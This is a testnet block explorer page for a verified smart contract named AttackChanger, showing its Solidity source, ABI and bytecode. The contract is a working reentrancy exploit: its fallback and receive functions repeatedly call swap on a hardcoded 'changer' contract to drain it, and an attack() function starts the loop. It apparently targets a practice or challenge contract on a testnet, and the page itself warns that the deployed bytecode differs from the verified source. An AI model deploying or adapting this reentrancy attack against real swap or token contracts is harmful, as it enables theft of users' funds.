false
false
0
Note: Ocean testnet will soon stop being supported, it is being replaced by Horizon testnet. You will be redirected to the new testnet scanner when its live.

Contract Address Details

0x040d06374c101d57D2C164b6dd1F618F6162D01b

Contract Name
AttackChanger
Creator
0x09642e–cfda59 at 0xa3b70f–0d78ec
Balance
0 FTN ( )
Tokens
Fetching tokens...
Transactions
2 Transactions
Transfers
1 Transfers
Gas Used
201,318
Last Balance Update
1463540
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
Contract name:
AttackChanger




Optimization enabled
false
Compiler version
v0.8.19+commit.7dd6d404




EVM Version
default




Verified at
2024-07-11T11:43:56.747854Z

contracts/AttackChanger.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IChanger {
    function swap(uint256) external;
}

interface IERC20 {
    function approve(address, uint256) external;
}

contract AttackChanger {
    address public token = 0x325636945A819DE3a693d827CCFb693C8da4048C;
    address public changer = 0x6B63819Bc417eB4D23b040e735cb98763453Ed17;

    fallback() external payable {
        IChanger(changer).swap(0.365 ether);
    }
    
    receive() external payable {
        IChanger(changer).swap(0.365 ether);
    }

    function attack() external {
        IERC20(token).approve(changer, 2e19);
        IChanger(changer).swap(0.365 ether);
    }
}
        

Compiler Settings

{"outputSelection":{"*":{"*":["abi","evm.bytecode","evm.deployedBytecode","evm.methodIdentifiers","metadata","storageLayout"],"":["ast"]}},"optimizer":{"runs":200,"enabled":false},"libraries":{}}
              

Contract ABI

[{"type":"fallback","stateMutability":"payable"},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"attack","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"changer","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"token","inputs":[]},{"type":"receive","stateMutability":"payable"}]
              

Contract Creation Code

0x608060405273325636945a819de3a693d827ccfb693c8da4048c6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550736b63819bc417eb4d23b040e735cb98763453ed17600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100b957600080fd5b506104c9806100c96000396000f3fe6080604052600436106100385760003560e01c806311b0ea16146101635780639e5faafc1461018e578063fc0c546a146101a5576100d0565b366100d057600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b81526004016100a091906103b8565b600060405180830381600087803b1580156100ba57600080fd5b505af11580156100ce573d6000803e3d6000fd5b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b815260040161013391906103b8565b600060405180830381600087803b15801561014d57600080fd5b505af1158015610161573d6000803e3d6000fd5b005b34801561016f57600080fd5b506101786101d0565b6040516101859190610414565b60405180910390f35b34801561019a57600080fd5b506101a36101f6565b005b3480156101b157600080fd5b506101ba610345565b6040516101c79190610414565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166801158e460913d000006040518363ffffffff1660e01b815260040161027c92919061046a565b600060405180830381600087803b15801561029657600080fd5b505af11580156102aa573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b815260040161031191906103b8565b600060405180830381600087803b15801561032b57600080fd5b505af115801561033f573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000819050919050565b6000819050919050565b6000819050919050565b60006103a261039d61039884610369565b61037d565b610373565b9050919050565b6103b281610387565b82525050565b60006020820190506103cd60008301846103a9565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103fe826103d3565b9050919050565b61040e816103f3565b82525050565b60006020820190506104296000830184610405565b92915050565b6000819050919050565b600061045461044f61044a8461042f565b61037d565b610373565b9050919050565b61046481610439565b82525050565b600060408201905061047f6000830185610405565b61048c602083018461045b565b939250505056fea26469706673582212207ed2f02b91edc00adc90a24c1ea5e6e53df9c333d73555a4b36519c9b45eb7f864736f6c63430008130033

Deployed ByteCode

0x6080604052600436106100385760003560e01c806311b0ea16146101635780639e5faafc1461018e578063fc0c546a146101a5576100d0565b366100d057600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b81526004016100a091906103b8565b600060405180830381600087803b1580156100ba57600080fd5b505af11580156100ce573d6000803e3d6000fd5b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b815260040161013391906103b8565b600060405180830381600087803b15801561014d57600080fd5b505af1158015610161573d6000803e3d6000fd5b005b34801561016f57600080fd5b506101786101d0565b6040516101859190610414565b60405180910390f35b34801561019a57600080fd5b506101a36101f6565b005b3480156101b157600080fd5b506101ba610345565b6040516101c79190610414565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166801158e460913d000006040518363ffffffff1660e01b815260040161027c92919061046a565b600060405180830381600087803b15801561029657600080fd5b505af11580156102aa573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b815260040161031191906103b8565b600060405180830381600087803b15801561032b57600080fd5b505af115801561033f573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000819050919050565b6000819050919050565b6000819050919050565b60006103a261039d61039884610369565b61037d565b610373565b9050919050565b6103b281610387565b82525050565b60006020820190506103cd60008301846103a9565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103fe826103d3565b9050919050565b61040e816103f3565b82525050565b60006020820190506104296000830184610405565b92915050565b6000819050919050565b600061045461044f61044a8461042f565b61037d565b610373565b9050919050565b61046481610439565b82525050565b600060408201905061047f6000830185610405565b61048c602083018461045b565b939250505056fea26469706673582212207ed2f02b91edc00adc90a24c1ea5e6e53df9c333d73555a4b36519c9b45eb7f864736f6c63430008130033